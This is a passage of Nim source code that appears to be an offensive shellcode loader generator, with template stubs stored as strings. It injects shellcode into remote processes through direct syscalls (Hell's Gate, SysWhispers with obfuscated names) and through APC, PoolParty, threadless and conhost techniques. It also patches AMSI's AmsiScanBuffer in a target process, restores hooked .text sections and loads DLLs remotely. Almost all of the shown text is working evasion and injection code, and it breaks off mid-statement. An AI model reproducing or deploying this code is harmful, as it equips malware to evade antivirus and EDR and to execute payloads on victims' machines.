logVerbose(obf("[*] NtProtectVirtualMemory RW for address: ") & cast[string](repr(protectAddress)) & obf(" status: ") & cast[string](toHex(status)) & "\r\n")
|
|
|
|
when defined(verbose):
|
|
if (status == 0):
|
|
echo obf("[+] NtProtectVirtualMemory success! "), repr(protectAddress)
|
|
else:
|
|
echo obf("[-] NtProtectVirtualMemory failed! "), repr(protectAddress)
|
|
quit(1)
|
|
|
|
else:
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntAllocTable):
|
|
syscall = ntAllocTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtAllocateVirtualMemory")
|
|
|
|
status = NtAllocateVirtualMemory(
|
|
tProcess,
|
|
addr rPtr2,
|
|
0,
|
|
addr hook_sc_size,
|
|
MEM_COMMIT or MEM_RESERVE,
|
|
PAGE_READWRITE)
|
|
when defined(logFile):
|
|
logVerbose(obf("[*] NtAllocateVirtualMemory for Caro-Kann shellcode: ") & cast[string](toHex(status)) & "\r\n")
|
|
|
|
when defined(verbose):
|
|
if (status == 0):
|
|
echo obf("[+] NtAllocateVirtualMemory for Caro-Kann shellcode success "), repr(rPtr2)
|
|
else:
|
|
echo obf("[-] NtAllocateVirtualMemory for Caro-Kann shellcode failed "), repr(rPtr2)
|
|
quit(1)
|
|
|
|
|
|
# The shellcode contains two eggs, 0x88, 0x88, 0x88, 0x88, 0x88, 0x88 and 0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x41, 0xFF, 0xD2. Now we want to replace the first egg with the value of
|
|
# the newly allocated memory address rptr, and we also want to replace the 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 with the address of the newly allocated memory address
|
|
|
|
var eggIndex = 0
|
|
|
|
when defined(verbose):
|
|
echo obf("-------------------------------------------------------------")
|
|
echo obf("[*] Looking for the egg, which will be filled with the first shellcodes memory address"), repr(ds)
|
|
|
|
for i in 0 ..< hookShellcodeBytes.len:
|
|
if (hookShellcodeBytes[i] == 0x88) and (hookShellcodeBytes[i+1] == 0x88) and (hookShellcodeBytes[i+2] == 0x88) and (hookShellcodeBytes[i+3] == 0x88) and (hookShellcodeBytes[i+4] == 0x88) and (hookShellcodeBytes[i+5] == 0x88):
|
|
when defined(verbose):
|
|
echo obf("[*] Found egg at index: "), i
|
|
eggIndex = i
|
|
when defined(verbose):
|
|
echo obf("[*] Writing allocated memory address into egg")
|
|
|
|
copyMem(unsafeAddr hookShellcodeBytes[eggIndex], unsafeAddr ds, 8)
|
|
|
|
when defined(verbose):
|
|
echo obf("[*] Done.")
|
|
break
|
|
|
|
# and we also want to replace the 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 with the address of the newly allocated memory address
|
|
|
|
|
|
when defined(verbose):
|
|
echo obf("-------------------------------------------------------------")
|
|
echo obf("[*] Looking for the second egg, which will be filled the same address but to jump there at the end")
|
|
|
|
eggIndex = 0
|
|
|
|
for i in 0 ..< hookShellcodeBytes.len:
|
|
if (hookShellcodeBytes[i] == 0x49) and (hookShellcodeBytes[i+1] == 0xBA) and (hookShellcodeBytes[i+2] == 0x00) and (hookShellcodeBytes[i+3] == 0x00) and (hookShellcodeBytes[i+4] == 0x00) and (hookShellcodeBytes[i+5] == 0x00) and (hookShellcodeBytes[i+6] == 0x00) and (hookShellcodeBytes[i+7] == 0x00) and (hookShellcodeBytes[i+8] == 0x00) and (hookShellcodeBytes[i+9] == 0x00) and (hookShellcodeBytes[i+10] == 0x41) and (hookShellcodeBytes[i+11] == 0xFF) and (hookShellcodeBytes[i+12] == 0xD2):
|
|
when defined(verbose):
|
|
echo obf("[*] Found egg at index: "), i
|
|
# our 0x00 bytes start at position three, so we need to add three to the index
|
|
eggIndex = i + 2
|
|
|
|
when defined(verbose):
|
|
echo obf("[*] Writing memory address into the jump at the end")
|
|
|
|
copyMem(unsafeAddr hookShellcodeBytes[eggIndex], unsafeAddr ds, 8)
|
|
break
|
|
|
|
eggIndex = 0
|
|
|
|
for i in 0 ..< hookShellcodeBytes.len:
|
|
if (hookShellcodeBytes[i] == 0x49) and (hookShellcodeBytes[i+1] == 0xBA) and (hookShellcodeBytes[i+2] == 0x00) and (hookShellcodeBytes[i+3] == 0x00) and (hookShellcodeBytes[i+4] == 0x00) and (hookShellcodeBytes[i+5] == 0x00) and (hookShellcodeBytes[i+6] == 0x00) and (hookShellcodeBytes[i+7] == 0x00) and (hookShellcodeBytes[i+8] == 0x00) and (hookShellcodeBytes[i+9] == 0x00) and (hookShellcodeBytes[i+10] == 0x41) and (hookShellcodeBytes[i+11] == 0xFF) and (hookShellcodeBytes[i+12] == 0xE2):
|
|
when defined(verbose):
|
|
echo obf("[*] Found egg at index: "), i
|
|
# our 0x00 bytes start at position three, so we need to add three to the index
|
|
eggIndex = i + 2
|
|
|
|
when defined(verbose):
|
|
echo obf("[*] Writing memory address into the jump at the end")
|
|
|
|
copyMem(unsafeAddr hookShellcodeBytes[eggIndex], unsafeAddr ds, 8)
|
|
break
|
|
|
|
|
|
# There is another egg, 0xDE, 0xAD, 0x10, 0xAF - which we want to find and replace with the length of the first shellcode (calc64enc.bin)
|
|
|
|
|
|
when defined(stomb):
|
|
# We need to find and overwrite the egg 0x9999999999999999 with the address of the protectAddress, so that our shellcode knows where to re-protect
|
|
eggIndex = 0
|
|
when defined(verbose):
|
|
echo obf("-------------------------------------------------------------")
|
|
echo obf("[*] Looking for the fifth egg, which will be filled with the address of the memory address to re-protect")
|
|
|
|
for i in 0 ..< hookShellcodeBytes.len:
|
|
if (hookShellcodeBytes[i] == 0x99) and (hookShellcodeBytes[i+1] == 0x99) and (hookShellcodeBytes[i+2] == 0x99) and (hookShellcodeBytes[i+3] == 0x99) and (hookShellcodeBytes[i+4] == 0x99) and (hookShellcodeBytes[i+5] == 0x99) and (hookShellcodeBytes[i+6] == 0x99) and (hookShellcodeBytes[i+7] == 0x99):
|
|
when defined(verbose):
|
|
echo obf("[*] Found egg at index: "), i
|
|
eggIndex = i
|
|
|
|
when defined(verbose):
|
|
echo obf("[*] Writing memory address into the egg "), repr(protectAddress)
|
|
copyMem(unsafeAddr hookShellcodeBytes[eggIndex], unsafeAddr protectAddress, 8)
|
|
break
|
|
|
|
|
|
|
|
# Finally write the decryptprotect.bin shellcode into the remote process
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntWriteTable):
|
|
syscall = ntWriteTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtWriteVirtualMemory")
|
|
|
|
when defined(logFile):
|
|
logVerbose(obf("[*] Writing Caro-Kann shellcode into remote process rPtr2 address: ") & cast[string](repr(rPtr2)) & "\r\n")
|
|
|
|
status = NtWriteVirtualMemory(tProcess, rPtr2, unsafeAddr hookShellcodeBytes[0], hook_sc_size, addr bytesWritten)
|
|
|
|
when defined(logFile):
|
|
logVerbose(obf("[*] NtWriteVirtualMemory for Caro-Kann shellcode success! ") & cast[string](repr(rPtr2)) & "\r\n")
|
|
|
|
if (status == 0):
|
|
when defined(verbose):
|
|
echo obf("[+] NtWriteVirtualMemory for Caro-Kann shellcode success! "), repr(rPtr2)
|
|
echo obf(" \\-- bytes written: "), bytesWritten
|
|
echo obf("")
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] NtWriteVirtualMemory for Caro-Kann shellcode failed "), repr(rPtr2) ," ", toHex(status)
|
|
quit(1)
|
|
|
|
|
|
# Setting permissions to RX via VirtualProtectEx
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntProtectTable):
|
|
syscall = ntProtectTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtProtectVirtualMemory")
|
|
|
|
#var oldProtect: DWORD
|
|
protectAddress = rPtr2
|
|
when defined(stomb):
|
|
hook_sc_size = hook_sc_size + 0x1000
|
|
status = NtProtectVirtualMemory(tProcess, addr protectAddress, addr hook_sc_size, PAGE_EXECUTE_READ, addr oldProtect)
|
|
|
|
when defined(logFile):
|
|
logVerbose(obf("[*] NtProtectVirtualMemory RX for address: ") & cast[string](repr(protectAddress)) & obf(" status: ") & cast[string](toHex(status)) & "\r\n")
|
|
|
|
if (status == 0):
|
|
when defined(verbose):
|
|
echo obf("[+] NtProtectVirtualMemory for Caro-Kann shellcode success! "), repr(protectAddress)
|
|
echo obf(" \\-- old protection: "), oldProtect
|
|
echo obf("")
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] NtProtectVirtualMemory for Caro-Kann shellcode failed!")
|
|
quit(1)
|
|
|
|
|
|
ds = rPtr2
|
|
|
|
when defined(stomb):
|
|
# as the execute primitive should now execute our custom shellcode, we need to set ds to the address of the shellcode.
|
|
# It will automatically jump to the regular shellcode after sleep, decryption and re-protect.
|
|
ds = rPtr2
|
|
|
|
when defined(logFile):
|
|
logVerbose(obf("[*] Address for rPtr2 is: ") & cast[string](repr(rPtr2)) & "\r\n")
|
|
|
|
|
|
when defined(restore): # void function
|
|
proc restoreText(): void =
|
|
|
|
when defined(carokann):
|
|
Sleep(12000)
|
|
else:
|
|
Sleep(200)
|
|
|
|
when defined(verbose):
|
|
echo obf("[*] Restoring original .text section")
|
|
protectAddress = textStart
|
|
allocateSize = mbi.RegionSize
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntProtectTable):
|
|
syscall = ntProtectTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtProtectVirtualMemory")
|
|
|
|
status = NtProtectVirtualMemory(tProcess, addr protectAddress, addr allocateSize, oldProtect, addr oldProtect)
|
|
when defined(verbose):
|
|
if (status == 0):
|
|
echo obf("[+] NtProtectVirtualMemory success! "), repr(protectAddress)
|
|
else:
|
|
echo obf("[-] NtProtectVirtualMemory failed! "), repr(protectAddress)
|
|
quit(1)
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntWriteTable):
|
|
syscall = ntWriteTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtWriteVirtualMemory")
|
|
status = NtWriteVirtualMemory(tProcess, textStart, unsafeAddr originalRXSection[0], (mbi.RegionSize), addr bytesWritten)
|
|
|
|
when defined(verbose):
|
|
if (status == 0):
|
|
echo obf("[+] NtWriteVirtualMemory success"), repr(textStart)
|
|
else:
|
|
echo obf("[-] Failed to write the original RX section"), repr(textStart), toHex(status)
|
|
quit(1)
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntProtectTable):
|
|
syscall = ntProtectTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtProtectVirtualMemory")
|
|
|
|
protectAddress = textStart
|
|
allocateSize = mbi.RegionSize
|
|
status = NtProtectVirtualMemory(tProcess, addr protectAddress, addr allocateSize, PAGE_EXECUTE_READ, addr oldProtect)
|
|
when defined(verbose):
|
|
if (status == 0):
|
|
echo obf("[+] NtProtectVirtualMemory success! "), repr(protectAddress)
|
|
else:
|
|
echo obf("[-] NtProtectVirtualMemory failed! "), repr(protectAddress)
|
|
quit(1)
|
|
|
|
when defined(conhostinject):
|
|
udptr = GetWindowLongPtr(hwnd, GWLP_USERDATA)
|
|
when defined(verbose):
|
|
echo "[*] GWLP_USERDATA : ", toHex(udptr), "\n"
|
|
ReadProcessMemory(tProcess, cast[LPVOID](udptr), cast[LPVOID](addr vTable), sizeof(ULONG_PTR), addr wr)
|
|
when defined(verbose):
|
|
echo "[*] Table : ", toHex(vTable), "\n"
|
|
ReadProcessMemory(tProcess, cast[LPVOID](vTable), cast[LPVOID](addr cw), sizeof(ConsoleWindow), addr wr)
|
|
dss = VirtualAllocEx(tProcess, nil, sizeof(ConsoleWindow), MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE)
|
|
cw.GetWindowHandle = cast[uint64](ds)
|
|
WriteProcessMemory(tProcess, cast[LPVOID](dss), addr cw, sizeof(ConsoleWindow), addr wr)
|
|
WriteProcessMemory(tProcess, cast[LPVOID](udptr), addr dss, sizeof(ULONG_PTR), addr wr)
|
|
# Trigger execution
|
|
SendMessage(hwnd, WM_SETFOCUS, 0, 0)
|
|
# wait for e.G. Caro-Kann Trigger time
|
|
Sleep(20000)
|
|
WriteProcessMemory(tProcess, cast[LPVOID](udptr), addr vTable, sizeof(ULONG_PTR), addr wr)
|
|
VirtualFreeEx(tProcess, ds, 0, MEM_RELEASE)
|
|
VirtualFreeEx(tProcess, dss, 0, MEM_RELEASE)
|
|
CloseHandle(tProcess)
|
|
# exit program, as we finished
|
|
quit(0)
|
|
|
|
when defined(threadless):
|
|
# Use GetRemoteModuleHandle and GetRemoteProcAddress to check for threadlessDLL and threadlessFunction
|
|
# if threadlessDLL == ntdll.dll we can also query the address from the local process as they are equal
|
|
var remoteProc: LPVOID
|
|
if(threadlessDLL == obf("ntdll.dll")):
|
|
var localHandle = GetModuleHandle(threadlessDLL)
|
|
if localHandle == 0:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to get handle for local "), threadlessDLL
|
|
quit(1)
|
|
var localProc = GetProcAddress(localHandle, threadlessFunction)
|
|
if localProc == NULL:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to get address of "), threadlessFunction
|
|
quit(1)
|
|
when defined(verbose):
|
|
echo obf("[*] Found address of "), threadlessFunction, obf(" at "), toHex(cast[HANDLE](localProc)), "\r\n"
|
|
remoteProc = localProc
|
|
else:
|
|
var remoteHandle = GetRemoteModuleHandle(tProcess, threadlessDLL)
|
|
if remoteHandle == 0:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to get handle for "), threadlessDLL
|
|
quit(1)
|
|
remoteProc = GetRemoteProcAddress(tProcess, remoteHandle, threadlessFunction)
|
|
if remoteProc == NULL:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to get address of "), threadlessFunction
|
|
quit(1)
|
|
when defined(verbose):
|
|
echo obf("[*] Found address of "), threadlessFunction, obf(" at "), toHex(cast[HANDLE](remoteProc)), "\r\n"
|
|
when defined(logFile):
|
|
logVerbose(obf("[*] ThreadlessInject2 start") & "\r\n")
|
|
# Call threadlessThread with target process, shellcode address and targetFunction address
|
|
var threadlessSuccess: bool = threadlessThread(tProcess, ds, remoteProc)
|
|
if threadlessSuccess == false:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to create threadless thread")
|
|
when defined(logFile):
|
|
logVerbose(obf("[-] Failed to create threadless thread\r\n"))
|
|
quit(1)
|
|
when defined(verbose):
|
|
when defined(logFile):
|
|
logVerbose(obf("[+] Threadless thread created successfully\r\n"))
|
|
echo obf("[+] Threadless thread created successfully")
|
|
when defined(restore):
|
|
restoreText()
|
|
quit(0)
|
|
|
|
when defined(poolparty):
|
|
when defined(JmpEntry):
|
|
ds = newEntry
|
|
ExecutePoolparty(tProcess, ds)
|
|
when defined(JmpEntry):
|
|
Sleep(1000)
|
|
if(restoreBytes(tProcess, ds)):
|
|
when defined(verbose):
|
|
echo obf("[*] Restored bytes!")
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to restore bytes!")
|
|
when defined(restore):
|
|
restoreText()
|
|
return
|
|
|
|
when defined(QueueAPC):
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntQueueApcThreadTable):
|
|
syscall = ntQueueApcThreadTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtQueueApcThread")
|
|
when defined(JmpEntry):
|
|
ds = newEntry
|
|
let pfnAPC : PKNORMAL_ROUTINE = cast[PKNORMAL_ROUTINE](ds)
|
|
status = NtQueueApcThread(remoteThreadHandle, pfnAPC, ds, nil, nil)
|
|
when defined(verbose):
|
|
echo obf("[*] NtQueueApcThread: "), toHex(status)
|
|
when defined(JmpEntry):
|
|
Sleep(1000)
|
|
if(restoreBytes(tProcess, ds)):
|
|
when defined(verbose):
|
|
echo obf("[*] Restored bytes!")
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to restore bytes!")
|
|
when defined(restore):
|
|
restoreText()
|
|
|
|
else:
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntCreateTable):
|
|
syscall = ntCreateTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtCreateThreadEx")
|
|
when defined(JmpEntry):
|
|
ds = newEntry
|
|
status = NtCreateThreadEx(
|
|
&tHandle,
|
|
THREAD_ALL_ACCESS,
|
|
NULL,
|
|
tProcess,
|
|
ds,
|
|
NULL, FALSE, 0, 0, 0, NULL)
|
|
|
|
when defined(verbose):
|
|
echo obf("[*] NtCreateThreadEx: "), toHex(status), " ", repr(ds)
|
|
|
|
when defined(JmpEntry):
|
|
Sleep(1000)
|
|
if(restoreBytes(tProcess, ds)):
|
|
when defined(verbose):
|
|
echo obf("[*] Restored bytes!")
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to restore bytes!")
|
|
when defined(restore):
|
|
restoreText()
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntCloseTable):
|
|
syscall = ntCloseTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtClose")
|
|
status = NtClose(tHandle)
|
|
status = NtClose(tProcess)
|
|
|
|
|
|
|
|
injectCreateRemoteThread(dectext) # later on to be changed to enctext when decrypting after NtWriteVirtualMemory
|
|
|
|
when not defined(proxy):
|
|
when defined(defaultMain):
|
|
when not defined(service):
|
|
when not defined(cloned):
|
|
when not defined(perfecthijack):
|
|
discard main(nil)
|
|
|
|
"""
|
|
|
|
let ShellcoderemoteinjectStub_notepad * = """
|
|
|
|
proc injectCreateRemoteThread(friendlycode: openarray[byte]): void =
|
|
|
|
var cid: CLIENT_ID
|
|
var oa: OBJECT_ATTRIBUTES
|
|
when not defined(spawninject):
|
|
var tProcess: HANDLE
|
|
var tHandle: HANDLE
|
|
var ds: LPVOID
|
|
var sc_size: SIZE_T = cast[SIZE_T](friendlycode.len)
|
|
|
|
when not defined(conhostinject):
|
|
cid.UniqueProcess = remoteProcID
|
|
|
|
when defined(logFile):
|
|
logVerbose(obf("[*] In the Inject function \r\n"))
|
|
|
|
"""
|
|
|
|
let ShellcoderemoteinjectStub_customprocfirst * = """
|
|
|
|
proc FindPidByName (processName : string):DWORD =
|
|
try:
|
|
var
|
|
entry : PROCESSENTRY32A
|
|
snapshot : HANDLE
|
|
pid : DWORD = 0
|
|
snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
|
|
if snapshot != INVALID_HANDLE_VALUE:
|
|
entry.dwSize = DWORD(sizeof(PROCESSENTRY32))
|
|
if Process32FirstA(snapshot,addr entry):
|
|
while Process32NextA(snapshot,addr entry):
|
|
pid = entry.th32ProcessID
|
|
if ($(entry.szExeFile).join()).contains(processName):
|
|
result = pid
|
|
except:
|
|
when defined(verbose):
|
|
echo obf("Process ID not found")
|
|
|
|
var processID: DWORD
|
|
"""
|
|
|
|
let ShellcoderemoteinjectStub_customprocID * = """
|
|
var found: bool = false
|
|
for m in remoteprocesses:
|
|
if found == true: continue
|
|
when defined(verbose):
|
|
echo obf("Checking: ") & $m
|
|
processID = FindPidByName(m)
|
|
if (processID):
|
|
found = true
|
|
|
|
when defined(verbose):
|
|
echo obf("[*] Target Process: "), processID
|
|
var remoteProcID: DWORD = processID
|
|
"""
|
|
|
|
let ShellcoderemoteinjectStub_customprocthird * = """
|
|
|
|
proc injectCreateRemoteThread(friendlycode: openarray[byte]): void =
|
|
|
|
var cid: CLIENT_ID
|
|
var oa: OBJECT_ATTRIBUTES
|
|
when not defined(spawninject):
|
|
var tProcess: HANDLE
|
|
var tHandle: HANDLE
|
|
var ds: LPVOID
|
|
var sc_size: SIZE_T = cast[SIZE_T](friendlycode.len)
|
|
|
|
cid.UniqueProcess = processID
|
|
|
|
"""
|
|
|
|
|
|
let RemotePatchAMSIStub* = """
|
|
|
|
proc RemotePatchAmsi(hProcss :HANDLE): bool =
|
|
|
|
when defined amd64:
|
|
let patch: array[1, byte] = [byte 0x75] # Patch JZ to JNZ
|
|
elif defined i386:
|
|
let patch: array[1, byte] = [byte 0x75]
|
|
|
|
|
|
var disabled: bool = false
|
|
|
|
var RemoteHandle = GetRemoteModuleHandle(hProcss, obf("amsi.dll"))
|
|
if RemoteHandle == 0:
|
|
when defined(verbose):
|
|
echo obf("[X] Failed to get amsi.dll handle")
|
|
return disabled
|
|
|
|
var RemoteProc = GetRemoteProcAddress(hProcss, RemoteHandle,obf("AmsiScanBuffer"))
|
|
if RemoteProc == NULL:
|
|
when defined(verbose):
|
|
echo obf("[X] Failed to get the address of 'AmsiScanBuffer'")
|
|
return disabled
|
|
when defined amd64:
|
|
RemoteProc = RemoteProc + 0x6D
|
|
else:
|
|
RemoteProc = RemoteProc + 0x47
|
|
var oldProtection: DWORD = 0
|
|
var success: BOOL
|
|
var protectAddress = RemoteProc
|
|
|
|
var friendlycodeLength = cast[SIZE_T](patch.len)
|
|
var t: ULONG
|
|
var op: ULONG
|
|
var
|
|
status : NTSTATUS = 0x00000000
|
|
buffer : LPVOID
|
|
|
|
when defined(SysWhispers):
|
|
status = uashdiasdj(hProcss, addr protectAddress,addr friendlycodeLength,0x04,addr t)
|
|
|
|
if not NT_SUCCESS(status):
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to allocate memory.")
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[*] Applying Syscall AMSI patch")
|
|
|
|
var bytesWritten: SIZE_T
|
|
|
|
var outLength: SIZE_T
|
|
status = oqiazasusjk(hProcss,RemoteProc,unsafeAddr patch,patch.len,addr outLength)
|
|
|
|
if not NT_SUCCESS(status):
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to write memory.")
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[+] oqiazasusjk Succeed!")
|
|
|
|
status = uashdiasdj(hProcss,addr protectAddress,addr friendlycodeLength,cast[ULONG](t),addr op)
|
|
|
|
if not NT_SUCCESS(status):
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to allocate memory.")
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[+] OldProtect set back")
|
|
disabled = true
|
|
return disabled
|
|
|
|
else:
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntProtectTable):
|
|
syscall = ntProtectTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtProtectVirtualMemory")
|
|
|
|
status = NtProtectVirtualMemory(hProcss, addr protectAddress,addr friendlycodeLength,0x04,addr t)
|
|
|
|
if not NT_SUCCESS(status):
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to allocate memory.")
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[*] Applying Syscall AMSI patch")
|
|
|
|
|
|
var bytesWritten: SIZE_T
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntWriteTable):
|
|
syscall = ntWriteTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtWriteVirtualMemory")
|
|
|
|
var outLength: SIZE_T
|
|
status = NtWriteVirtualMemory(hProcss,RemoteProc,unsafeAddr patch,patch.len,addr outLength)
|
|
|
|
if not NT_SUCCESS(status):
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to write memory.")
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[+] NtWriteVirtualMemory Succeed!")
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntProtectTable):
|
|
syscall = ntProtectTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtProtectVirtualMemory")
|
|
|
|
status = NtProtectVirtualMemory(hProcss,addr protectAddress,addr friendlycodeLength,cast[ULONG](t),addr op)
|
|
|
|
if not NT_SUCCESS(status):
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to allocate memory.")
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[+] OldProtect set back")
|
|
disabled = true
|
|
return disabled
|
|
|
|
when isMainModule:
|
|
when defined(SysWhispers):
|
|
when not defined(spawninject):
|
|
status = opqiwepoausdasdjl(&hProcss,PROCESS_ALL_ACCESS,&oa, &cid)
|
|
|
|
else:
|
|
when not defined(spawninject):
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntOpenTable):
|
|
syscall = ntOpenTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtOpenProcess")
|
|
var hProcss: HANDLE
|
|
var oa2: OBJECT_ATTRIBUTES
|
|
var cid2: CLIENT_ID
|
|
cid2.UniqueProcess = processID
|
|
var statusamsi = NtOpenProcess(
|
|
&hProcss,
|
|
PROCESS_QUERY_INFORMATION,
|
|
&oa2, &cid2
|
|
)
|
|
when defined(verbose):
|
|
echo obf("[*] NtOpenProcess: "), toHex(statusamsi)
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntDuplicateTable):
|
|
syscall = ntDuplicateTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtDuplicateObject")
|
|
|
|
# duplicate to get PROCESS_ALL_ACCESS
|
|
var high: HANDLE
|
|
status = NtDuplicateObject(
|
|
-1,
|
|
hProcss,
|
|
-1,
|
|
&high,
|
|
PROCESS_ALL_ACCESS,
|
|
FALSE,
|
|
0
|
|
)
|
|
when defined(verbose):
|
|
echo obf("[*] NtDuplicateObject: "), toHex(workedfine)
|
|
hProcss = high
|
|
|
|
when not defined(spawninject):
|
|
var procHandle2: HANDLE = hProcss
|
|
else:
|
|
var procHandle2: HANDLE = tProcess
|
|
|
|
success = RemotePatchAmsi(procHandle2)
|
|
if (success == 0):
|
|
success = remoteLoadAmsi(remoteProcID)
|
|
HowMuchTimeWouldYoulikeToSleep(4)
|
|
success = RemotePatchAmsi(procHandle2)
|
|
when defined(verbose):
|
|
echo obf("[*] AMSI disabled in the remote process: ") & fmt"{bool(success)}"
|
|
|
|
#amsRemote()
|
|
|
|
"""
|
|
|
|
let RemoteLoadDllStub* = """
|
|
|
|
proc remoteLoadDll(moduletoInject: cstring, tProcess: HANDLE): bool =
|
|
|
|
var
|
|
regionSize: SIZE_T
|
|
ntStatus: NTSTATUS
|
|
ntcode: NTSTATUS
|
|
threadRoutine: PTHREAD_START_ROUTINE
|
|
|
|
regionSize = 4096
|
|
|
|
|
|
when defined(verbose):
|
|
echo obf("[*] Loading "), moduletoInject, obf(" in the remote process")
|
|
|
|
var tHandle: HANDLE
|
|
var ds: LPVOID
|
|
var status: NTSTATUS
|
|
var sc_size: SIZE_T = cast[SIZE_T](moduletoInject.len)
|
|
|
|
|
|
when defined(SysWhispers):
|
|
|
|
status = oqiahsjynmxkla(tProcess, &ds, 0, &sc_size,MEM_COMMIT,PAGE_EXECUTE_READWRITE)
|
|
when defined(verbose):
|
|
echo obf("[*] NtAllocateVirtualMemory: "), toHex(status), " ", toHex(ds)
|
|
var bytesWritten: SIZE_T
|
|
|
|
status = oqiazasusjk(tProcess,ds,moduletoInject,sc_size-1,addr bytesWritten)
|
|
|
|
when defined(verbose):
|
|
echo obf("[*] NtWriteVirtualMemory: "), toHex(status)
|
|
echo obf(" \\-- bytes written: "), bytesWritten
|
|
echo obf("")
|
|
|
|
var pfnThreadRtn: LPTHREAD_START_ROUTINE = cast[LPTHREAD_START_ROUTINE](GetProcAddress(GetModuleHandle(obf("Kernel32.dll")), obf("LoadLibraryA")));
|
|
status = zuq8aztsdztausdgbh(&tHandle,THREAD_ALL_ACCESS,NULL,tProcess,pfnThreadRtn,ds, FALSE, 0, 0, 0, NULL)
|
|
status = zuatzuastdiasyy(tHandle)
|
|
if(status == 0):
|
|
return true
|
|
else:
|
|
return false
|
|
else:
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntAllocTable):
|
|
syscall = ntAllocTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtAllocateVirtualMemory")
|
|
|
|
status = NtAllocateVirtualMemory(
|
|
tProcess, &ds, 0, &sc_size,
|
|
MEM_COMMIT,
|
|
PAGE_READWRITE)
|
|
when defined(verbose):
|
|
echo obf("[*] NtAllocateVirtualMemory: "), toHex(status), " ", repr(ds)
|
|
var bytesWritten: SIZE_T
|
|
when defined(logFile):
|
|
logVerbose(obf("[*] NtAllocateVirtualMemory for DLL Name: ")& cast[string](toHex(status))& " " & cast[string](repr(ds)) & "\r\n")
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntWriteTable):
|
|
syscall = ntWriteTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtWriteVirtualMemory")
|
|
|
|
status = NtWriteVirtualMemory(
|
|
tProcess,
|
|
ds,
|
|
moduletoInject,
|
|
sc_size-1,
|
|
addr bytesWritten)
|
|
|
|
when defined(verbose):
|
|
echo obf("[*] NtWriteVirtualMemory: "), toHex(status)
|
|
when defined(verbose):
|
|
echo obf(" \\-- bytes written: "), bytesWritten
|
|
echo obf("")
|
|
|
|
when defined(logFile):
|
|
logVerbose(obf("[*] NtWriteVirtualMemory for DLL Name: ")& cast[string](toHex(status))& " " & cast[string](toHex(bytesWritten)) & "\r\n")
|
|
|
|
|
|
when defined(Hellsgate):
|
|
if getSyscall(ntProtectTable):
|
|
syscall = ntProtectTable.wSysCall
|
|
else:
|
|
when defined(verbose):
|
|
echo obf("[-] Failed to find opcode for NtProtectVirtualMemory")
|
|
|
|
var oldProtect: DWORD
|
|
var targetAddress: LPVOID = ds
|
|
status = NtProtectVirtualMemory(
|
|
tProcess,
|
|
addr targetAddress,
|
|
&sc_size,
|
|
PAGE_READONLY,
|
|
